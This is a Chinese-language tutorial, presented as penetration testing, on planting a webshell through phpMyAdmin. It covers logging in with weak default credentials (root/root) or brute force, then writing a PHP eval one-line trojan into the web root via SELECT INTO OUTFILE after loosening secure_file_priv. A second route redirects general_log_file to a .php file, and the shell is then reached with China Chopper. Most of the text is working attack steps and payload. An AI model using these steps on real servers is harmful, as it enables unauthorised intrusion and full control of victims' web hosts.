下面由phpmyadmin教學欄位來介紹PhpMyAdmin後台getshell(滲透測試),希望對需要的朋友有幫助!
PhpMyAdmin 是一個以PHP為基礎,以Web-Base方式架構在網站主機上的MySQL的資料庫管理工具,讓管理者可用Web介面管理MySQL資料庫。藉由此Web介面可以成為一個簡易方式輸入繁雜SQL語法的較佳途徑,尤其要處理大量資料的匯入及匯出更為方便。
在透過對目標進行資訊收集探測後,當發現存有phpmyadmin目錄(可試下:http://ip:連接埠/phpmyadmin/
)時,進而透過弱口令(可以直接嘗試下帳號root密碼root)或暴力破解進入管理後台之後,有多種方法進行getshell。
想在網站內部插入木馬,前提是你得知道網站的絕對路徑,方法也有很多,例如透過報錯取得路徑,透過phpinfo.php等等(可參考另一篇部落格文章:https://blog.csdn.net/weixin_39190897/article/details/99078864 )。
最方便的是用select @@basedir;
直接查(但有時沒辦法查出來,只能另尋它法):
根據上面的回饋,我們可以看到MySQL 的位置在D:\soft\phpStudy\MySQL\
目錄下。
取得網站路徑後就可以企圖上傳木馬了,最常用的是透過into outfile
在網站根目錄上直接寫入一句話木馬:
select '<?php eval($_POST[cmd]); ?>' into outfile 'D:\soft\phpStudy\www\xxx.php';
#但在新版的mysql中,這句話並沒有運行成功。
Mysql新特性secure_file_priv
會對讀寫檔案產生影響,該參數用來限制匯入匯出。我們可以藉助show global variables like '%secure%';
指令來檢視參數:
當secure_file_priv
為NULL時,表示限制Mysql不允許匯入導出,所以爆出錯誤。要使得該語句導出成功,則需要在Mysql資料夾下修改my.ini
文件,在[mysqld]內加入secure_file_priv =""
即可:
當secure_file_priv
的值沒有具體值時,表示不對mysqld 的導入|匯出做限制,此時就可以執行匯出指令。
Mysql 5.0版本以上會建立日誌文件,透過修改日誌的全域變量,也可以getshell。但是也要對產生的日誌有可讀可寫的權限。 (註:linux因為權限問題親測沒有成功)。先來介紹兩個MySQL全域變數:general_log
和 general_log file
。
查看日誌狀態的指令:show variables like '%general%';
在上述設定中,開啟general時,所執行的sql語句都會出現在WIN-30DFNC8L78A.log
檔。
那麼,如果修改general_log_file
的值,那麼所執行的sql語句就會對應生成,進而getshell。
對應就會產生xxx.php檔
將一句話木馬寫入xxx.php檔:SELECT '<?php eval ($_POST["cmd"]);?>'
接著可以看到日誌檔案中記錄了木馬語句:
最後中國菜刀連接,getshell :
以上是PhpMyAdmin後台getshell(滲透測試)的詳細內容。更多資訊請關注PHP中文網其他相關文章!